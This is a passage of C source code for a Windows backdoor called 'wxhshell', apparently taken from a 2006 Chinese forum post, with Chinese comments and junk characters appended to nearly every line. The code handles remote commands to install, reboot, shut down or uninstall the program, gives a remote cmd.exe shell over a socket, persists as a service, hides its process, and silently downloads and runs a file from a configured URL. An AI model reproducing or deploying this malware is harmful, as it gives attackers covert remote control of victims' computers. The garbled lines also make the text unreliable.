4I"%GN[tA  
    switch(cmd[0]) { z"7I5N  
  BhAWIH8@C  
  // 帮助 M$Sq3m`{!  
  case '?': { k OYF]^uJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8&[Lr o9  
    break; I^}q;L![\  
  } ++>HU{  
  // 安装 <jt_<p +  
  case 'i': { u.\FNa  
    if(Install()) ;4(ULJ*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *[VO03  
    else QuB`}rfLf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~rnbuIh  
    break; T"h@-UcTl  
    } pr~%%fCh  
  // 卸载 )I~U&sT\/  
  case 'r': { o )\\(^ld  
    if(Uninstall()) h=?V)WSM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PhUG}94  
    else uGXN ciEp`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] o!r K<  
    break; nK!yu?mS  
    } e6G=Bq$  
  // 显示 wxhshell 所在路径 1gK<dg  
  case 'p': { c> SFt tbU  
    char svExeFile[MAX_PATH]; 5Z8Zb.  
    strcpy(svExeFile,"\n\r"); +qPpPjG;  
      strcat(svExeFile,ExeFile); ,\){-H/n  
        send(wsh,svExeFile,strlen(svExeFile),0); 6[.#B!;9  
    break;  f$7Xh~  
    } #|92 +  
  // 重启 k4n 4 BL  
  case 'b': { CBkI! In2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cj[a^ ZH  
    if(Boot(REBOOT)) EN,PI~~F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c >O>|*I  
    else { kdgU1T@y.  
    closesocket(wsh); 0f_+h %%=  
    ExitThread(0); ]n\Qa   
    } 9N+3S2sBx&  
    break; =D>,s)}o3;  
    } QD8.C=2R  
  // 关机 -RLY.@'d-M  
  case 'd': { %w$\v"^_Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D,3Kx ^  
    if(Boot(SHUTDOWN)) @Sr{6g*I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {th=MldJ?  
    else { pA%}CmrMq  
    closesocket(wsh); Ru&>8Ln0  
    ExitThread(0); a- \M)}T  
    } 6%-RKQi  
    break; L'Yg$9Vz  
    } |]M|I X8 o  
  // 获取shell kVmR v.zZ  
  case 's': { 9V'ok.B.x  
    CmdShell(wsh); &gxWdG}qx]  
    closesocket(wsh); B|f =hlY  
    ExitThread(0); mBwM=LAZ  
    break; _YK66cS3E/  
  } ~vbyX  
  // 退出 9 HiH6f^5  
  case 'x': { 3BZa}Q_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7 I$~E  
    CloseIt(wsh); '!hA!eo>J  
    break; yjF;%A/0  
    } "^froQ{"T  
  // 离开 ia9=&Hy])  
  case 'q': { z [|:HS&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tqf:G4!  
    closesocket(wsh); +GYO<N7  
    WSACleanup(); < NRnE8:  
    exit(1); iJ&jg`"=F  
    break; P Nf_{4  
        } OGR2Y  
  } SzTa[tJ+  
  } 2FVO@D  
"y9]>9:$-  
  // 提示信息 X7~^D[ X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hEh` cBO  
} %&5PZmnW  
  } /g]NC?  
Bs3M7z RG  
  return; !,cL c}a  
} QomihQnc  
: MEB] }  
// shell模块句柄 ymW? <\AD,  
int CmdShell(SOCKET sock) u*S-Pji,x  
{ /'l"Us},^!  
STARTUPINFO si; T Ob(  
ZeroMemory(&si,sizeof(si)); sd5)We  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +^cjdH*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j[RY  
PROCESS_INFORMATION ProcessInfo; z 0}JiWR  
char cmdline[]="cmd"; D#k ~lEPub  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u~~H'*EM  
  return 0; =j"bLX6;  
} _2a)b(<tF  
*-';ycOvr  
// 自身启动模式 "?M)2,:A  
int StartFromService(void) )Tl]1^  
{ 9*2Q'z}_  
typedef struct =T-jG_.H  
{ Y-s6Z \  
  DWORD ExitStatus; Yh["IhjR  
  DWORD PebBaseAddress; jX; $g>P  
  DWORD AffinityMask; xG1(vn83gq  
  DWORD BasePriority; ( }RJW:  
  ULONG UniqueProcessId;  3+/^  
  ULONG InheritedFromUniqueProcessId; Vo;0i$  
}   PROCESS_BASIC_INFORMATION; tu slkOE#  
20 Z/Y\  
PROCNTQSIP NtQueryInformationProcess; i*)BFV_-  
VZ]}9k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tc|PN+v;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C klIrD{  
d6f T  
  HANDLE             hProcess; ]^0mh["  
  PROCESS_BASIC_INFORMATION pbi; ANRZQpnXQ  
LL_@nvu}M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >H,5MM!  
  if(NULL == hInst ) return 0; WjsmLb:5  
6ltV}Wt-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _oE 7<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =X;h _GQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m2\[L/W]  
Vz]yJ:  
  if (!NtQueryInformationProcess) return 0; (XNd]G  
(5l'?7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2@Zw#2|]  
  if(!hProcess) return 0; 9yK\<6}}QH  
7P:/ (P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NpH:5hi  
Se.qft?D%(  
  CloseHandle(hProcess); 5p>rQq0  
;--p/h*.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Hbl&)!I  
if(hProcess==NULL) return 0; .1f!w!ltVR  
#('GGzL6c  
HMODULE hMod; tI<6TE'!p#  
char procName[255]; e8 c.&j3m  
unsigned long cbNeeded; bH g 0,N  
%F87"v~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xQ! Va  
IqFmJs|C  
  CloseHandle(hProcess); pN{XGkX.  
+fN2%aC  
if(strstr(procName,"services")) return 1; // 以服务启动 ?!u9=??  
G6bvV*TRi  
  return 0; // 注册表启动 .\+c{  
} |*g\-2j{  
tN;^{O-(V  
// 主模块 `0`#Uf_/$  
int StartWxhshell(LPSTR lpCmdLine) iSNbbu#  
{ ^[VEr"X  
  SOCKET wsl; t9r R>Y9  
BOOL val=TRUE; r2\ }_pIj  
  int port=0; Flaqgi/j  
  struct sockaddr_in door; \rY\wa  
y/>Nx7C0=2  
  if(wscfg.ws_autoins) Install(); z+c'-!e/  
n5Mhp:zc,  
port=atoi(lpCmdLine); EX@Cf!GjN  
|fY#2\)Yx  
if(port<=0) port=wscfg.ws_port; P6)d#M  
oQR?H  
  WSADATA data; t!59upbN}3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .Ms$)1  
R@KWiV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D7Y?$=0ycb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t$PJ*F67M  
  door.sin_family = AF_INET; (ZP e{;L.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1U(!%},  
  door.sin_port = htons(port); cR/e Zfl  
Gh}* <X;N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hyY^$p+  
closesocket(wsl); :BF WX  
return 1; _TyQC1 d  
} iV:\,<8d  
w+{{4<+cd  
  if(listen(wsl,2) == INVALID_SOCKET) { bYYjP.rcF  
closesocket(wsl); s>=$E~qq  
return 1; }tJMnq/m($  
} nv3TxG  
  Wxhshell(wsl); ?4t~z 1.f  
  WSACleanup(); MfraTUxIo/  
212 =+k  
return 0; X7SSTcA   
88}04  
} 2<*Yq 8  
mhF@S@  
// 以NT服务方式启动 _)~|Z~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xR;z!Tg)  
{ )>]SJQ!k  
DWORD   status = 0; @h5Q?I  
  DWORD   specificError = 0xfffffff; m|[cEZxHB  
}mS Q!"f:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ltHuN;C\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n.A*(@noe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xOZvQ\%  
  serviceStatus.dwWin32ExitCode     = 0; Q;@w\_ OR  
  serviceStatus.dwServiceSpecificExitCode = 0;  HS|x  
  serviceStatus.dwCheckPoint       = 0; )+.AgqxI  
  serviceStatus.dwWaitHint       = 0; "WqM<kLa  
qz 29f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hDbZ62DDN  
  if (hServiceStatusHandle==0) return; ]@qD4:  
[n +(  
status = GetLastError(); cGW L'r)P  
  if (status!=NO_ERROR) {XW>3 "  
{ 7N0m7SC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #Z]<E6<=9  
    serviceStatus.dwCheckPoint       = 0; vIFx'S~D  
    serviceStatus.dwWaitHint       = 0; xG(:O@  
    serviceStatus.dwWin32ExitCode     = status; II.Wa&w}  
    serviceStatus.dwServiceSpecificExitCode = specificError; {9hhfI#3_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VKi3z%kwK  
    return;  XV !UeBq  
  } HPK}Z|Vl  
XlGB`P>?KD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mHc2v==X\-  
  serviceStatus.dwCheckPoint       = 0; 7VJf~\%1j  
  serviceStatus.dwWaitHint       = 0; obw:@i#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U27ja|W^  
} L~_zR>  
~5Rh7   
// 处理NT服务事件,比如:启动、停止 7RgnL<t~:8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P2)g%$ME  
{ UL" <V  
switch(fdwControl) T{T> S%17~  
{ 1'5 !")r  
case SERVICE_CONTROL_STOP: * =O@D2g0  
  serviceStatus.dwWin32ExitCode = 0; gKb5W094@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *oIKddZh  
  serviceStatus.dwCheckPoint   = 0; OmP(&t7  
  serviceStatus.dwWaitHint     = 0; B^hK  
  { 7p18;Z+6>X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *kDV ^RBfq  
  } Q1 vse  
  return; 6:\z8fYD  
case SERVICE_CONTROL_PAUSE: [92bGR{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FRTvo  
  break; #p=Wt&2  
case SERVICE_CONTROL_CONTINUE: F#{ PJ#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U3w*z6OG  
  break; r3.v^  
case SERVICE_CONTROL_INTERROGATE: qxD<mZ@-R0  
  break; wSs78c=  
}; c{f1_qXN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sQT,@'"  
} !i6 aA1'  
::8E?c  
// 标准应用程序主函数 CY9`HQ1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FD}>}fLv  
{ UmQ'=@^kR  
J15$P8J  
// 获取操作系统版本 WTh|7&  
OsIsNt=GetOsVer(); fGLOXbsA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .{ ]=v  
[g*]u3s  
  // 从命令行安装 u"a$/  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;D<rGkry  
,<-a 6  
  // 下载执行文件 &nZ.$UK<  
if(wscfg.ws_downexe) { j8p'B-yS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?r~](l   
  WinExec(wscfg.ws_filenam,SW_HIDE); ]9pcDZB  
} k4nA+k<WI`  
#kGxX@0  
if(!OsIsNt) { __||cQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 BcoE&I?[m|  
HideProc(); <kor;exeJ  
StartWxhshell(lpCmdLine); %u|qAF2uS  
} ~LzTqMHM  
else >:P3j<xTv  
  if(StartFromService()) RwwX;I"o%  
  // 以服务方式启动 :Zd# }P  
  StartServiceCtrlDispatcher(DispatchTable); wwmODw<tT  
else DSHpM/7  
  // 普通方式启动 !PrO~  
  StartWxhshell(lpCmdLine); ]# T9v06w  
WJL,L[XC  
return 0; r^6v o6^  
}
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只看该作者 1 发表于: 2006-10-10
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